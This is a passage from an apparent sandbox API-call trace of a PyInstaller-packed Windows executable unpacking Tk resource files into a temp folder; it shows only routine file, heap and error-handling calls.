HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567408 | out: hHeap=0x530000) returned 1 [0044.591] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.591] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562168 | out: hHeap=0x530000) returned 1 [0044.591] CloseHandle (hObject=0x10c) returned 1 [0044.591] GetLastError () returned 0x0 [0044.591] SetLastError (dwErrCode=0x0) [0044.591] GetLastError () returned 0x0 [0044.591] SetLastError (dwErrCode=0x0) [0044.591] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.591] GetFileType (hFile=0x10c) returned 0x1 [0044.591] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.591] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.591] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.591] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.592] CloseHandle (hObject=0x10c) returned 1 [0044.592] GetLastError () returned 0x0 [0044.592] SetLastError (dwErrCode=0x0) [0044.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl") returned 59 [0044.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.592] GetLastError () returned 0x2 [0044.592] SetLastError (dwErrCode=0x2) [0044.592] GetLastError () returned 0x2 [0044.592] SetLastError (dwErrCode=0x2) [0044.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl", lpFilePart=0x0) returned 0x3a [0044.592] GetLastError () returned 0x2 [0044.592] SetLastError (dwErrCode=0x2) [0044.592] GetLastError () returned 0x2 [0044.593] SetLastError (dwErrCode=0x2) [0044.593] GetLastError () returned 0x2 [0044.593] SetLastError (dwErrCode=0x2) [0044.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl") returned 59 [0044.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.593] GetFileType (hFile=0x10c) returned 0x1 [0044.593] htonl (hostlong=0x8b420000) returned 0x428b [0044.593] WriteFile (in: hFile=0x10c, lpBuffer=0x563170*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563170*, lpNumberOfBytesWritten=0x4fcd00*=0x4000, lpOverlapped=0x0) returned 1 [0044.594] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.595] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x28b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x28b, lpOverlapped=0x0) returned 1 [0044.595] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.595] CloseHandle (hObject=0x10c) returned 1 [0044.595] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563170 | out: hHeap=0x530000) returned 1 [0044.596] htonl (hostlong=0x20000000) returned 0x20 [0044.596] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.596] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.596] GetFileType (hFile=0x10c) returned 0x1 [0044.596] htonl (hostlong=0x125f00) returned 0x5f1200 [0044.596] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63c200, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.596] htonl (hostlong=0x9b040000) returned 0x49b [0044.596] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x49b) returned 0x550600 [0044.596] htonl (hostlong=0x9b040000) returned 0x49b [0044.596] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.597] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.597] htonl (hostlong=0x9a110000) returned 0x119a [0044.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x119a) returned 0x562098 [0044.597] htonl (hostlong=0x9b040000) returned 0x49b [0044.597] htonl (hostlong=0x9a110000) returned 0x119a [0044.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563240 [0044.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563240 | out: hHeap=0x530000) returned 1 [0044.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.598] CloseHandle (hObject=0x10c) returned 1 [0044.598] GetLastError () returned 0x0 [0044.598] SetLastError (dwErrCode=0x0) [0044.598] GetLastError () returned 0x0 [0044.598] SetLastError (dwErrCode=0x0) [0044.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.598] GetFileType (hFile=0x10c) returned 0x1 [0044.598] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.598] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.598] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.598] CloseHandle (hObject=0x10c) returned 1 [0044.598] GetLastError () returned 0x0 [0044.598] SetLastError (dwErrCode=0x0) [0044.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.599] GetLastError () returned 0x2 [0044.599] SetLastError (dwErrCode=0x2) [0044.599] GetLastError () returned 0x2 [0044.599] SetLastError (dwErrCode=0x2) [0044.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs", lpFilePart=0x0) returned 0x34 [0044.599] GetLastError () returned 0x2 [0044.599] SetLastError (dwErrCode=0x2) [0044.599] GetLastError () returned 0x2 [0044.599] SetLastError (dwErrCode=0x2) [0044.599] GetLastError () returned 0x2 [0044.599] SetLastError (dwErrCode=0x2) [0044.599] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), lpSecurityAttributes=0x0) returned 1 [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg") returned 60 [0044.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\cs.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg", lpFilePart=0x0) returned 0x3b [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] GetLastError () returned 0x2 [0044.600] SetLastError (dwErrCode=0x2) [0044.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg") returned 60 [0044.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\cs.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\cs.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.601] GetFileType (hFile=0x10c) returned 0x1 [0044.601] htonl (hostlong=0x9a110000) returned 0x119a [0044.601] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.602] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.602] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x19a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x19a, lpOverlapped=0x0) returned 1 [0044.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.603] CloseHandle (hObject=0x10c) returned 1 [0044.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.603] htonl (hostlong=0x30000000) returned 0x30 [0044.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.603] GetFileType (hFile=0x10c) returned 0x1 [0044.603] htonl (hostlong=0x9b165f00) returned 0x5f169b [0044.603] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63c69b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.603] htonl (hostlong=0x1040000) returned 0x401 [0044.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x401) returned 0x550600 [0044.603] htonl (hostlong=0x1040000) returned 0x401 [0044.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.603] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.603] htonl (hostlong=0x1a0f0000) returned 0xf1a [0044.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf1a) returned 0x562098 [0044.603] htonl (hostlong=0x1040000) returned 0x401 [0044.603] htonl (hostlong=0x1a0f0000) returned 0xf1a [0044.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562fc0 [0044.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fc0 | out: hHeap=0x530000) returned 1 [0044.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.604] CloseHandle (hObject=0x10c) returned 1 [0044.604] GetLastError () returned 0x0 [0044.604] SetLastError (dwErrCode=0x0) [0044.604] GetLastError () returned 0x0 [0044.604] SetLastError (dwErrCode=0x0) [0044.604] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.604] GetFileType (hFile=0x10c) returned 0x1 [0044.604] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.605] CloseHandle (hObject=0x10c) returned 1 [0044.605] GetLastError () returned 0x0 [0044.605] SetLastError (dwErrCode=0x0) [0044.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.605] GetFileType (hFile=0x10c) returned 0x1 [0044.605] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.606] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.606] CloseHandle (hObject=0x10c) returned 1 [0044.606] GetLastError () returned 0x0 [0044.606] SetLastError (dwErrCode=0x0) [0044.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg") returned 60 [0044.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\da.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.606] GetLastError () returned 0x2 [0044.606] SetLastError (dwErrCode=0x2) [0044.606] GetLastError () returned 0x2 [0044.606] SetLastError (dwErrCode=0x2) [0044.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg", lpFilePart=0x0) returned 0x3b [0044.606] GetLastError () returned 0x2 [0044.606] SetLastError (dwErrCode=0x2) [0044.606] GetLastError () returned 0x2 [0044.606] SetLastError (dwErrCode=0x2) [0044.606] GetLastError () returned 0x2 [0044.606] SetLastError (dwErrCode=0x2) [0044.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg") returned 60 [0044.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\da.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\da.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.607] GetFileType (hFile=0x10c) returned 0x1 [0044.607] htonl (hostlong=0x1a0f0000) returned 0xf1a [0044.607] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.607] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf1a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf1a, lpOverlapped=0x0) returned 1 [0044.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.609] CloseHandle (hObject=0x10c) returned 1 [0044.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.609] htonl (hostlong=0x30000000) returned 0x30 [0044.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.610] CreateFileW 